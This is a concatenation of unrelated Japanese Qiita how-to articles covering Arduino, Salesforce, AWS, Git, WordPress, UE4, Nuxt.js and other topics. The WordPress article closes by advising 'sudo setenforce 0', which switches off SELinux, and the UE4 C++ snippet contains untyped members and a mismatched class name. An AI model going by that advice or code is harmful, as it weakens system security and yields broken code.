OmniAICreator/Qiita-1.07M huggingface dataset:
日の出・日の入り時刻を取得するArduinoライブラリ「Dusk2Dawn」

# 発端

Ｄusk2Dawnは、秋月で買った[esp32-wroom-32d](http://akizukidenshi.com/catalog/g/gM-13628/)を、リンビングの窓の電動シャッターを開閉するリモコンにつなぎ、外が暗くなったら（日の入時刻になったら）、自動でシャッターを閉める、という工作をしているときに、見つけたライブラリです。

日本語解説サイトがなさそうなので、メモがてらご紹介。

# インストール方法

1. [Dusk2Dawnのgithub](https://github.com/dmkishi/Dusk2Dawn)で「Clone or Download → Download ZIP」を選択して、zipファイルをダウンロード
2. Arduino IDEを起動し、メニューから「スケッチ → ライブラリをインクルード → .ZIP形式のライブラリをインストール」を選択、さきほどのzipファイルを指定

# サンプルコード

```c:dusk2dawn_jp.ino
#include <Dusk2Dawn.h>

void setup() {
  Serial.begin (115200);

  // 経度, 緯度, タイムゾーン
  Dusk2Dawn japan(36.2048, 138.2529, 9);

  // 年, 月, 日, サマータイム
  int jpSunrise = japan.sunrise(2020, 5, 24, false);
  int jpSunset  = japan.sunset(2020, 5, 24, false);

  // 日の出時刻
  char time0[] = "00:00";
  bool response0 = Dusk2Dawn::min2str(time0, jpSunrise);
  if (response0 == false) {
    //Serial.println(time0); // print "ERROR"
    Serial.println("Error!");
  }
  Serial.print("jpSunrise: ");
  Serial.println(time0);

  // 日の入り時刻
  char time1[] = "00:00";
  bool response1 = Dusk2Dawn::min2str(time1, jpSunset);
  if (response1 == false) {
    //Serial.println(time1); // print "ERROR"
    Serial.println("Error!");
  }
  Serial.print("jpSunset: ");
  Serial.println(time1);
}

void loop() {
}
```

# 実行結果

上記サンプルコードを実行すると、シリアルコンソールに以下が表示されます。

```
14:57:27.218 -> jpSunrise: 04:35
14:57:27.218 -> jpSunset: 18:52
```

手元にあったiPhoneの天気アプリに表示されている日の出時刻・日の入り時刻を見ると、それぞれ「04:29」「18:47」だったので、５分弱ずれています。

上記サンプルの経度・緯度は、「日本 経度 緯度」でググって出てきたものを、何も考えずにそのまま入れましたが、あとあと調べて見ると、今私がいる場所からだいぶ離れた地点のようです。

もしかすると、iPhoneのほうはGPSにより正確な経度・緯度を使っていて、そのせいで差がでたのかも？と思い、試しに上記サンプルの経度・緯度に、今いる場所の値を正確にいれたところ、ほぼ差がなくなりました。

私の用途的にはどちらにせよ、誤差の範囲なので、良しとします。

# 参考

「[日没頃に自動で100均イルミネーションをつけてみる](https://qiita.com/mitazet/items/195891220306728cbad5)」という記事でも似たようなことをしていますが、こちらはＷebAPIを使っているようです。

おしまい。
Lightningでレコードを新規・コピーする際に標準開発で項目値に任意の値を設定する方法

# 概要
- Salesforce Lightning で標準機能を利用してURLパラメータを利用して新規・コピー時の指定の値を設定してレコードを新規作成します。

# メリット
- コーティングの必要がないです。
- カスタムボタン、カスタムリンクなため急な設定値変更依頼も設定しているURLパラメータを書き換えるだけなので開発量が低下します。

# 手順

## 1. ボタン・リンク作成
- 新規・コピーを作成したいオブジェクトの以下の場所にアクセス
    - **設定>オブジェクトマネージャー>[作成したいオブジェクト]>ボタン、リンク、およびアクション>新規ボタンまたはリンク**
- `表示ラベル` = レコードページに表示したい名前
- `名前` = API参証名
- `表示の種類` = `詳細ページリンク,詳細ページボタン,リストボタン`
    - 作成したいボタン・リンクの種類を選択してください。(Lightnigの場合は、詳細ページボタンを選択した場合、どの動作オプションを選択してもボタンを押したレコード内で暗転し、新規レコードが表示される動作になります。)
- `内容のソース` = `URL`を選択してください
    - https://**[環境ごとのドメイン名]**/lightning/o/**[新規作成したいオブジェクトのAPI参照名]**/new?**[レコードタイプの指定がある場合(recordTypeId=[レコードタイプID]&)]**defaultFieldValues=**[オブジェクトのAPI項目名]**=Test,**[オブジェクトのAPI項目名]**=**{!数式、参照項目なども利用できます}**
![0.png.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/331690/3df231e9-ace6-275e-e7aa-e58ca47baf01.jpeg)

## 2. レイアウト追加
- 新規・コピーを作成したいオブジェクトのレイアウトの以下の場所にアクセス
    - **設定>オブジェクトマネージャー>[作成したいオブジェクト]>ページレイアウト>[追加したいレイアウト]**
- **ボタン**を選択し1で作成したボタンを**Salesforce モバイルおよび Lightning Experience のアクション**に配置
![5.png.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/331690/11626d26-b6cc-ddf0-28fe-5d73ad80c855.jpeg)

## 3. 動作確認
- カスタムリンク・ボタンを作成したオブジェクトでレイアウトに追加したリンク・ボタンを押下
    - 設定した値が正しく反映されていることを確認。
![6.png.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/331690/d43ed980-5b2f-74a4-f5e8-3abb1d91a354.jpeg)
Android Studioでimport 'package:xxx'の補完が効かない

chopperを使っていて、以下生成コマンド実行後に補完が効かなくなった。

`flutter packages pub run build_runner build `

以下手順で解決した。
1. .dart_toolディレクトリを削除
2. `flutter pub get`

参考
https://stackoverflow.com/questions/59665885/flutter-android-studio-import-package-path
https://github.com/dart-lang/build/issues/1804
JavaScriptでのイベントについて

#イベントとは
結論、HTML要素に対して処理要求することです。
例えば、
「ユーザーがブラウザ上のボタンをクリックした」
これはクリックしたというのがイベントに当たります。
##イベント駆動
JSでは「イベント」が発生したコードが実行される仕組みを持っています。
このイベントを取得するためにはノードに対して処理を書く必要があります。
#イベントリスナ
ではどのようにして処理を書くのか。
addEventListenerメソッドを使います

```javascript
(ノードオブジェクト).addEventListener("イベント名","関数");
```
これでノードオブジェクトにイベントが起きた時、関数が実行する仕組みです。
実際に具体例でみていきましょう。
<img width="1219" alt="JavaScriptPractice.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625088/97cd945d-fb40-c256-bec7-6eeacf6a9d18.png">
このようなウェブページがあるとして、イベントを起こしてみましょう。

```javascript
let btn = document.querySelector("a#btn-square");

function hello() {
  console.log("Hello world");
}

btn.addEventListener("click", hello);
```
本来はこれでHello Worldが出力されるはずですが、
以下のようなエラーが出ることもあります。
<img width="566" alt="JavaScriptPractice.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625088/5bc03a49-c051-3b33-55c5-5261594a09bc.png">
これはscriptのタグがどこに書いてあるかに関わってきます。
基本的にscriptを読み込む記述はHTMLのheadタグ内に書き込みます。
ここでもプログラミングの原理原則を思い出してみてください。
上から順番に読み込みます。
その際にボタンのコードが読み込まれる前に
イベントを読み込むためのコードが読み込まれてしまうので
エラーが出てしまうと言った現象です。

なので以下のようなメソッドを使いましょう。

```javascript
①window.onload = function() { 処理 };
②window.addEventListener('load', function() { 処理 });
```
２通りのパターンがあります。今回は②の方法を使います。
これはページの読み込みが終わったら実行するようになります。
なので先ほどの記述を以下のように訂正します。

```javascript
function HelloWithButton() {
let btn = document.querySelector("a#btn-square");

function hello() {
  console.log("Hello world");
}

btn.addEventListener("click", hello);
}

window.addEventListener("load", HelloWithButton);
```
そうすると、以下の結果になります。
<img width="429" alt="JavaScriptPractice.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625088/08711c3e-d28d-3a6d-2607-681533f6c3af.png">
では、手順をまとめます。

#まとめ
①DOMツリーからノードを取得
②JSでやりたい処理内容を書く
③イベントを発火でHTMLを動かす
AWS初心者が在宅勤務中にAWSの資格を取る記録 part5

##■5/18(Mon)
・Udemyで座学＆ハンズオン（セクション15）
　→セキュリティ関連のサービス概要の把握、CloudWatchのサービス構築
・座学でとったノートの見返し

###感想
土日にも学習していた為、本日でUdemyのコースが修了。（模擬試験は後々）
模擬試験をチラと見たが、難易度がかなり高めに設定されていて今のままでは解けないだろうと考えたので
すぐにAmazonで下記の参考書をポチり。
https://www.amazon.co.jp/dp/479739739X/ref=cm_sw_r_tw_dp_U_x_Fr4WEb206QD4R

ここまで進めてきて思ったが正直、今試験を受けて受かるかという自信がほとんど無い。
CLFの時のように参考書をベースに知識の整理をして、模擬試験に挑みたいと思う。

##■5/19(Tue)
・座学でとったノートの見返し
・参考書ベースの座学

###感想
参考書ベースでの座学に時間を割いた一日。
参考書にはガンガン書き込むタイプなので、重要な箇所や知らなかった箇所に線を引いたり、コメントを残して進めていった。

とりあえず、何となく整理の知識ができたので明日から模擬試験に進んで、今週中に本試験を受ける予定。

##■5/20(Wed)
・参考書ベースの座学

###感想
参考書2週目。
寝たら忘れてしまうタイプなので、1周目と2週目で不明点を地道に潰して記憶に定着させていく作戦。

だいぶ定着した感じがあるので、木曜日と金曜日で模擬試験集をみっちりやる。

##■5/21(Thu)
・Udemyで模擬試験

★受講コース
https://www.udemy.com/course/aws-knan/

###感想
結果

基本問題の模擬試験①
　→43/65 66%
高難易度の模擬試験②
　→40/65 61%
高難易度の模擬試験③
　→43/65 66%

思いのほか得点できた。ケアレスミスも含めると合格点に届いていたかもという感じ。
復習にはそこそこの時間を割いた。

いけそうな感覚を掴めたので土曜日に受験することを決意。
（本当は金曜日に受けたかったが、予約日と受験日が24時間以上空いてないとダメらしい）

##■5/22(Fri)
・Udemyで模擬試験

###感想
結果

基本問題の模擬試験①
　→40/65 61%
高難易度の模擬試験②
　→40/65 61%
高難易度の模擬試験③
　→34/65 52%

こちらも何となくそこそこの点数をとれた。
明日に向けて見直しを実施。

##■5/23(Sat)
・SAA本試験

###感想
結果

無事に一発合格！
スコアレポート見ると、725で本当のギリギリ合格。。
合格は合格だが、理解度はまだまだ低いと思う。

来週中にでも番外編として、SAA合格までの合格体験記的なのを投稿したい。

とりあえずお疲れ様でした、自分。
【Git】 コミットメッセージをわかりやすく！ヒアドキュメント・prefixを使おう

## コミットメッセージbefore/after

今見返してみると
Git使い始めの自分のコミットメッセージはカオスなものです。

早速、見てみましょう

#### 改善前
[![Screenshot from Gyazo](https://gyazo.com/562fd5b80be760bc829fa35382e91b21/raw)](https://gyazo.com/562fd5b80be760bc829fa35382e91b21)

現時点では
改善を加えた結果、わかりやすくなったと思います。

#### 改善後

[![Screenshot from Gyazo](https://gyazo.com/56434c91444240258f70f3b15b44e508/raw)](https://gyazo.com/56434c91444240258f70f3b15b44e508/raw)

何ということでしょう、
あのカオスなコミットメッセージが読めるものとなっているではないですか‥！

では、どのようなことを変更して改善したのか記したいと思います。

## 改善① コミットメッセージの改行機能を使った

コミットメッセージはターミナル上でも改行することが可能なんですよね。
それを知らず、内容を１行に詰め込まなければ‥と思いこうなってしまっていたわけです。　　
（再掲）

[![Screenshot from Gyazo](https://gyazo.com/72d7bd75d68a03ea97873db3f1c8e338/raw)](https://gyazo.com/72d7bd75d68a03ea97873db3f1c8e338)

#### コミットメッセージを改行するには

ヒアドキュメントを使います。

```
$ git commit -F- <<EOM
# Fは大文字でなければ、エラーが出ます
# ヒアドキュメントの識別子としてEOM(End Of Message)を使います
```

コミット作成してみましょう。

[![Screenshot from Gyazo](https://gyazo.com/a78db3fd0914037ab9bf1216f708b53b/raw)](https://gyazo.com/a78db3fd0914037ab9bf1216f708b53b/raw)


returnキーでどんどん改行することができます。
改行時に現れる```heredoc> ```はコミットメッセージには残りません。

```$git log``` で先ほど作成したコミットを確認すると

```
commit 691e97d7bc729922500cb1ae176b254e734d9f46 (HEAD -> #16)
Author: Watashi <Watashino@mailaddress.com>
Date:   Sun May 24 14:51:34 2020 +0900

    [feat]Commit
    
    line1
    line2
    line3
```


改行できてます！

## 改善② Prefixを使うことにした

[こちら](https://qiita.com/numanomanu/items/45dd285b286a1f7280ed/)で紹介されているPrefixを使うことにしました。

・[*feat*] : 新機能追加  
・[*fix*] : バグの修正  
・[*docs*] : documentの修正のみ  
・[*style*] : コードの機能に影響しない修正(空白スペース、セミコロン抜け修正など)  
・[*refactor*] : featでもfixでもない修正  
・[*perf*] : パフォーマンスを上げるためのコード修正  
・[*test*] : テストコードの修正  
・[*chore*] : ビルドプロセスの変更、補助ツール、ライブラリの変更など  

よく使うのはやはり[*feat*][*fix*]ですが、
[RUNTEQ](https://runteq.jp/)の課題に勤しむ時、
RoboCopのLintチェックの指摘部分を修正する時は[*style*]
RSpecのhave_contentで指定したテキストにしていなくてテストが通らない時は[*docs*]
などを使うようにしています。

本記事の改善で
・コミット内容を多く記述できるようになり、コミット粒度を大きくすることが可能になった
・のちのちのコミットの確認に困ることが少なくなった
というような感じです

コミットも捗って、草もどんどん生やせますね♫
AWS CLI v2のコマンド補完を有効にする

# TL;DR

* AWS CLI v2で、シェル補完が有効なようなので設定したい
* `aws_completer`を使ってシェル補完を有効にするが、継続的に有効にするには` ~/.bashrc`等に設定する

ちなみに、Amazon Linux上ではデフォルトで有効化されているようです。

> Amazon Linux
>
> コマンド補完は自動的に設定され、Amazon Linux を実行する Amazon EC2 インスタンス上でデフォルトで有効化されます。

[コマンド補完](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/cli-configure-completion.html)


# AWS CLI v2をインストールする

最初に、AWS CLI v2をインストールしましょう。

[AWS CLI バージョン 2 のインストール](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/install-cliv2.html)

今回の環境はCentOS 7なので、Linux向けのインストールを行います。

```shell
$ uname -srvmpio
Linux 3.10.0-957.12.2.el7.x86_64 #1 SMP Tue May 14 21:24:32 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux


$ cat /etc/redhat-release 
CentOS Linux release 7.8.2003 (Core)
```

[Linux での AWS CLI バージョン 2 のインストール](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/install-cliv2-linux.html)

```shell
$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
$ unzip awscliv2.zip
$ sudo ./aws/install
```

これで、AWS CLI v2がインストールされました。

```shell
$ aws --version
aws-cli/2.0.16 Python/3.7.3 Linux/3.10.0-1127.8.2.el7.x86_64 botocore/2.0.0dev20
```

現時点のバージョンは、2.0.16ですね。


# コマンド補完を設定する

では、AWS CLI v2のコマンド補完を設定してみましょう。

[コマンド補完](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/cli-configure-completion.html)

[Amazon Web Services ブログ / AWS CLI v2 が一般利用可能となりました](https://aws.amazon.com/jp/blogs/news/aws-cli-v2-is-now-generally-available/)

ドキュメントを見ていると、`aws_completer`を`PATH`に追加するように書かれています。が、`pip`を使った方法など、そもそも内容がv1寄りのような…？

[コマンド補完の設定](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/cli-configure-completion.html#cli-command-completion-configure)

`aws_completer`コマンドを探してみましょう。

AWS CLI v2のデフォルトのインストール方法では、`/usr/local/bin`に配置されるようです。

```shell
$ ls -l /usr/local/bin
合計 0
lrwxrwxrwx. 1 root root 37  5月 24 05:40 aws -> /usr/local/aws-cli/v2/current/bin/aws
lrwxrwxrwx. 1 root root 47  5月 24 05:40 aws_completer -> /usr/local/aws-cli/v2/current/bin/aws_completer
```

では、`aws_completer`を使ってシェル補完を設定します。`bash`の場合は、こちらです。

```shell
$ complete -C aws_completer aws
```

`zsh`や`tcsh`の場合は、ドキュメントを参照してください。

シェル補完が使えるようになったか、確認してみましょう。

```shell
$ aws ec
ec2                   ec2-instance-connect  ecr                   ecs 
```

大丈夫そうです。


# シェルにログインする際にコマンド補完を有効にする

`bash`の場合は、`$HOME/.bash_profile`に追加しましょう。

```shell
$ echo 'complete -C aws_completer aws' >> $HOME/.bash_profile
```

これで、シェルを起動する度にコマンド補完が有効になります。
AWS EC2でpythonプログラムを実行する環境構築

ローカル環境で`.py`を実行しようとしたのですが、Python3とpip3とPythonとPipがわけわからなくなってたので、AWSで実行することにしました

やり方のめも
:zap:コメント大歓迎:zap:

# 1. AWSに登録

awsでググって、アカウントをつくる
メアドとパスワード入れるだけ

# 2. EC2を選択

いろんなサービスがあるけどEC2をクリックする

# 3. 新しいinstanceを作る

設定は[AWSのGetting Started](https://aws.amazon.com/ec2/getting-started/)の通りにやればok
全部無料のやつ

- AMI (Amazon Machime Image): Amazon Linux 2 AMI （x86）
- インスタンスのタイプ: t2.micro

※AMIはx86とARMの2種類があります
とりあえずx86でうまくいったけど、何が違うのかわかりません
誰か教えて

これを選択したら、青いボタンの「Review & Launch Instance」をする

key pair を保存してねっていうポップアップが出るので、"Create New Key Pair"を選択して、`.pem`ファイルを保存する
※前にinstanceを作ってたら、"Choose existing key pair"を選択すれば、前と同じやつが使える
※ブラウザでインスタンスに接続する場合はこの`.pem`ファイルは使わないよ

# 4. instanceに接続する

**※ 2020/06/21追記: 以下ではブラウザからAWS EC2インスタンスに接続する方法を書いています。ブラウザ接続はSSH接続よりも手軽ですが、動作が不安定です。なので、とりあえず接続確認したいときだけブラウザから、ちゃんと使いたいときはSSH接続がおすすめです**

EC2 Dashboardに行って、instanceの横にあるチェックボックスをクリック
→ "Connect"

ポップアップが出るから、ブラウザで接続する一番したのやつを選ぶ
（他のでもいいと思うけど、SSHよくわからないのでブラウザにした）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/430849/9617f723-1253-0e63-7485-be4a69b718b6.png)

ブラウザに黒い画面が出ればok

# 5. 環境構築

ここから、pythonプログラムを実行するための環境構築をしていきます
[@kenta1984さんの記事](https://qiita.com/kenta1984/items/2403ad9cb240522f6d1e)とほぼ同じ

やること: 
- python3を入れる
- gitを入れる

gitは、PythonのファイルをEC2インスタンスに転送するときにgistを使うので入れます
scpとか使う人はいらない

```bash
# とりあえず入ってるパッケージをアップデート
sudo yum update -y
# Python3を入れる
sudo yum install python3 -y
# git を入れる（任意）
sudo yum install git
```

ちなみに、**Python3を入れると、pip3も一緒に入ってきます**
なのでpip3を別でインスコする必要はないです

参考: https://git-scm.com/download/linux

# 6. ファイルを作る→EC2インスタンスに送る

実態は、gistにファイルを乗っけてそれをインスタンスにクローンしてるだけ

:bulb: gistはgitと同じようにcloneもpullもできます

## 6-1. gistをつくる
https://gist.github.com/

VSCodeとかで書いたコードを貼り付ければok
:warning: ファイル名には拡張子も入れてね


## 6-2. gistをクローン

:arrow_down: のとこで、Clone via HTTPSを選択 → コピー
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/430849/8fa5b4a7-14d3-7ed3-a963-127b0e51b89d.png)

EC2インスタンスに接続してる黒い画面（4で開いたブラウザのタブ）で、いつもgitリポジトリをクローンするみたいにgistをクローンします

```bash
$ git clone <gistのURL>
```

## 6-3. プログラム実行

```bash
# gistのディレクトリに移動
cd my-gists # ディレクトリ名は人によって違うよ、わからなかったらlsしてね
# プログラム実行
python3 hoge.py # ファイル名は自分のやつに変えてね
```

# まとめ

1. EC2でインスタンスをつくる
2. インスタンスにブラウザで接続する
3. インスタンスに`sudo yum install`で`python3`と`git`を入れる
4. gistにpythonプログラムのコード貼り付け
5. gistをクローン
6. プログラム実行
Semantic Segmentation 技術調査

2020/1に作成したSemantic Segmentation調査資料をスライドシェアにアップしました。

https://www.slideshare.net/TakeshiOtsuka9/semantic-segmentation-review-234515173

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/493607/e4a50002-7911-1c83-fc69-b0f29e014be6.png)
P5.js 日本語リファレンス(noDebugMode)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の  noDebugMode関数を説明します。

## noDebugMode() 

### 説明文

3Dスケッチで debugMode() をオフにします。

### 構文

noDebugMode() 

### 例

```javascript
function setup() {
  createCanvas(100, 100, WEBGL);
  camera(0, -30, 100, 0, 0, 0, 0, 1, 0);
  normalMaterial() ;
  debugMode() ;
}

function draw() {
  background(200);
  orbitControl() ;
  box(15, 30);
  //スペースバーを押してdebugModeをオフにします
  if(keyIsDown(32)){
    noDebugMode() ;
  }
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/Jgnsos35P


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
boostのversionをcppコマンドで確認する


```bash
$ echo -e '#include <boost/version.hpp>\nBOOST_VERSION' | cpp -P
106501
```

解説

```c++:stdin.cpp
#include <boost/version.hpp>
BOOST_VERSION
```
をCプリプロセッサで展開してversionに変換する


gccコマンドやclangコマンドでもできる

```bash
$ echo -e '#include <boost/version.hpp>\nBOOST_VERSION' | clang -E -P -
106501
$ echo -e '#include <boost/version.hpp>\nBOOST_VERSION' | gcc -E -P -
106501
```
WordPress の wp-config.php のバリデーション

WordPress のデータベースへの接続は wp-config.php で定義されます。
その接続情報でデータベースに接続できるか判定する方法です。

wp-config.php は、wordpress 以下にあるものをコピーします。
wp-settings.php は空の PHP です。

フォルダー構造

```text
$ tree
.
├── connect_check.php
├── wp-config.php
└── wp-settings.php
```


```php:connect_check.php
#! /usr/bin/php
<?php
/*
	connect_check.php

					May/24/2020

*/
// --------------------------------------------------------------------
include_once ("wp-config.php");

// --------------------------------------------------------------------
$host = DB_HOST;
$user = DB_USER;
$password = DB_PASSWORD;
$db = DB_NAME;

$dsn = 'mysql:dbname=' . $db . ';host=' . $host . ';charset=utf8';

fputs (STDERR,"*** 開始 ***\n");
print DB_USER . "\n";

try
	{
	$dbcon = new PDO ($dsn, $user,$password);
	$sql = "show schemas";
	$sql = "select version()";
	foreach ($dbcon->query($sql) as $row)
		{
		$str_json = json_encode($row);
		print $str_json . "\n";
		}
	$dbcon = null;
	}
catch  (PDOException $e)
	{
	print('Error:'.$e->getMessage());
	}

fputs (STDERR,"*** 終了 ***\n");
// --------------------------------------------------------------------
?>
```

```php:wp-settings.php
<?php

?>
```

実行結果

データベースが MariaDB の時

```text
$ ./connect_check.php 
*** 開始 ***
wordpress
{"version()":"10.4.13-MariaDB","0":"10.4.13-MariaDB"}
*** 終了 ***
```

データベースが MySQL の時

```text
$ ./connect_check.php 
*** 開始 ***
wordpress
{"version()":"5.7.28-log","0":"5.7.28-log"}
*** 終了 ***
```

接続が出来ない時

```text
$ ./connect_check.php 
*** 開始 ***
wordpress
Error:SQLSTATE[HY000] [1045] Access denied for user 'wordpress'@'localhost' (using password: YES)*** 終了 ***
```

バリデーションでオーケーになっても、まだ　WordPress で接続できない時は、次を試して下さい。

```bash
sudo setenforce 0
```
JOI 2007 本選 D ぴょんぴょん川渡り

##問題
https://atcoder.jp/contests/joi2008ho/tasks/joi2008ho_d
##見た感じ
岸の間の石の配置は全くの任意なので、全通り試すしかないと思ったので、以下のような漸化式を計算した。

```math
dp[i][j][k]=i行j列に一個飛ばし\times k回して到達する最小の危険度\\
dp[i][j][k]=\min_{石(i-1,l)or(i-2,l)=(y,l)}dp[y][l][k-1 or k]+abs(l-j)*(danger(i,j)+danger(y,l)) 
```
##解法
上の漸化式を地道に計算した。
岸から1行目とn行目から岸が例外的な計算をするので、それを例外として書いた。

##ソースコード
```c++
const int N_MAX=152;
int n,m,dp[N_MAX][1002][(N_MAX+1)/2];
vector<pint> v[N_MAX];  

ll solve(){
    rep1(i,n+1){
        rep(j,1002){
            rep(l,m+2){
                dp[i][j][l]=INF10;
            }
        }
    }
    rep(i,n+1){
        if(i==0){
            rep(l,v[i+1].size()){
                dp[i+1][v[i+1][l].first][0]=0;
            }
            rep(l,v[i+2].size()){
                dp[i+2][v[i+2][l].first][1]=0;
            }
            continue;
        }
        rep(j,v[i].size()){
            int nowx=v[i][j].first,diff=v[i][j].second;
            rep(k,min(m+1,(i+3)/2)){    
                rep(l,v[i+1].size()){
                    if(i+1==n+1)dp[i+1][0][k]=min(dp[i+1][0][k],dp[i][nowx][k]);
                    else dp[i+1][v[i+1][l].first][k]=min(dp[i+1][v[i+1][l].first][k],dp[i][nowx][k]+abs(nowx-v[i+1][l].first)*(diff+v[i+1][l].second));
                }
                rep(l,v[i+2].size()){
                    if(i+2==n+1)dp[i+2][0][k+1]=min(dp[i+2][0][k+1],dp[i][nowx][k]);
                    else dp[i+2][v[i+2][l].first][k+1]=min(dp[i+2][v[i+2][l].first][k+1],dp[i][nowx][k]+abs(nowx-v[i+2][l].first)*(diff+v[i+2][l].second));
                }
                
            }
        }
    }
    int res=INF10;
    rep(i,m+1){
        res=min(res,dp[n+1][0][i]);
    }
    return res;
}

int main(){
    int i,x,y,z;
    //入力
    cin >> n >>m ;
    rep1(i,n){
        cin>>x;
        rep(j,x){
            cin>>y>>z;
            v[i].push_back({y-1,z});
        }
    }
    v[0].push_back({0,0});
    v[n+1].push_back({0,0});
    //処理
    ll ans=solve();
    //出力
    cout << ans <<endl;
}
```
MySQL他のテーブルをコピーする方法

# 概要
自分のメモ



# テーブル構造コピー
<例>

	CREATE TABLE
		`table_copy_target` like `table_original`;

■適宜下記書き換える
作成するテーブル名：`table_copy_target`
コピーするテーブル名：`table_original`




# レコードコピー
<例>

	INSERT INTO
		`table_copy_target`
		(id,name,name_kana,name2_kana...)
	SELECT 
		id,name,name_kana,name2_kana...
	FROM
		`table_original`;

■適宜下記書き換える
作成するテーブル名：`table_copy_target`
コピーするテーブル名：`table_original`
UE4のアニメーションメタデータ（追加パラメータ）を仕込む

#概要
UE4のアニメーションアセットはメタデータというユーザー定義の追加パラメータを仕込めるようになっています。アニメーションシーケンス、モンタージュどちらでも）

メタデータはUAnimMetaDataというクラスを継承することで定義できます。
が、自分の確認した範囲ではC++からしかアクセスできないようです。
（BPからのアクセス方法をご存じの方は教えてくだされ）

今回はこいつを使ってアニメーションアセットにゲーム独自の追加パラメータを仕込んでやろうというお話です。

#どんなのデータを定義するか？
今回は次の2項目を定義してみよう。
- 別のモーションでキャンセル可能か？(bool)
- モーション中は重力が働かないようにするか？(bool)

# メタデータの定義(C++)
UAnimMetaDataを継承してメンバ変数を持たせてやる。
ブループリントでもクラス自体は作れるが、アクセスはC++からしかできないので、クラスもC++上で作ろう。


```cpp

#include "Animation/AnimMetaData.h"

UCLASS()
class RUNNERSHIGH_API UMynimMetaData : public UAnimMetaData
{
	GENERATED_BODY()
public:
	//このアニメーションは中断してもいいやつ？
	UPROPERTY(EditAnywhere)
	isCancelable = true;
	
	//このアニメーションの再生中は無重力？
	UPROPERTY(EditAnywhere)
	isUngravity = true;

	UMyAnimMetaData() {}
};
```

#メタデータへのアクセス(C++)

次はアニメーションを再生しているキャラクター側でメタデータにアクセスできるようにしてみよう。

```cpp

bool AMyCharacterBase::GetIsCurrentMontageCancelable()
{
	//再生中のモンタージュを取得
	auto currentMontage = GetCurrentMontage();
	
	if (IsValid(currentMontage))
	{
		//モンタージュからメタデータを取得する
		auto metaArray = currentMontage->GetMetaData();

		//メタデータが入っていたら
		if (metaArray.Num() > 0)
		{
			//先頭のメタデータを取り出して
			auto metadata = Cast<UMyAnimMetaData>(metaArray[0]);
			if (IsValid(metadata))
			{
				//情報を返す
				return metadata->isCancelable;
			}
		}
	}
	return false;
}


```

これでC++側の準備は完了。

#実際に使ってみよう
ここからはGUI側で実際に使ってみる。

アニメーションアセットを開いてアセット詳細を見ると、さっそくメタデータとして今作ったクラスが登録できるようになっている。すばやいな。
再生時にこれらのフラグを取得し、対応した処理をすることで、アニメーション毎に挙動を細かく設定することができるというわけだ。

![キャプチャ2.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16285/326b7a64-919a-bf9c-7ceb-6e22f96799a1.png)

ブループリントからC++の関数にアクセスしてデータを取ってこれる。
![キャプチャ3.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/16285/480b3ef4-1117-3730-c40d-e89f5047994b.png)

UE4のアニメーションモンタージュはイベント発行やセクションを駆使して高機能なタイムラインツールとして使えるが、このメタデータを使えば更なる一歩を踏み出せる。
続きは君の眼で確かめてみろ！

おわり。
MacでNuxt.jsのプロジェクトを作る(2020)

タイトルの通り、MacでNuxt.jsの初期プロジェクトを作る手順のメモ。
#手順
##Npmを入れる
まずnuxtのプロジェクト作成コマンドを叩くためのNpmを入れる。
一発でNpmを入れられるわけじゃなくて意外と面倒。  
Command Line Toolsを入れる
↓
Homebrewを入れる（Command Line Toolsが必要）
↓
Nodebrewを入れる（Homebrewが必要）
↓
Node.jsとNpmを入れる（Nodebrewが必要）  
という手順になる。
###Command Line Toolsを入れる
```
$ xcode-select --install
```
<img width="400" alt="xcode-select --install.png.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/231600/911d7159-5d0a-e1e9-e5c8-7d425baf2b0c.png">
インストールを実行。
結構サイズある、7GBぐらい持ってかれた。
###Homebrewを入れる
```
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
```
`$ brew -v`でバージョンの確認が出来たらOK。
###Nodebrewを入れる
```
$ brew install nodebrew
```
`$ nodebrew -v`でバージョンの確認が出来たらOK。
###Node.jsとNpmを入れる
```
# このディレクトリを作っておかないとエラーになる
$ mkdir -p ~/.nodebrew/src

# latestは最新版という意味
$ nodebrew install-binary latest

# インストールした後で使用を宣言
$ nodebrew use latest

#パスを通す
$ echo 'export PATH=$HOME/.nodebrew/current/bin:$PATH' >> ~/.bash_profile
$ source ~/.bash_profile
```
`$ node -v` `$ npm -v`でそれぞれバージョンの確認が出来たらOK。
##Nuxtのプロジェクトを作成する
やっと本題。
本題と言いつつここまできたらあとはコマンドを1つ叩くだけ。

```
$ npx create-nuxt-app <project-name>
```
選択肢を聞かれるので選んでいく。
以下は私の設定。（あんまりクセがないと思う。）

```
✨  Generating Nuxt.js project in nuxt

? Project name nuxt
# 任意のプロジェクト名。これが作成されるプロジェクトのディレクトリ名にもなる。

? Project description My flawless Nuxt.js project
# 任意のプロジェクトの説明。README.mdに記載される。

? Author name kuribo2110
# 任意の作者名。

? Choose programming language JavaScript
# 記述方法をJavaScriptかTypeScriptで選択。

? Choose the package manager Npm
# パッケージマネージャーの選択。Npm使います。

? Choose UI framework Bootstrap Vue
# デザインフレームワークの選択。Bootstrap使います。

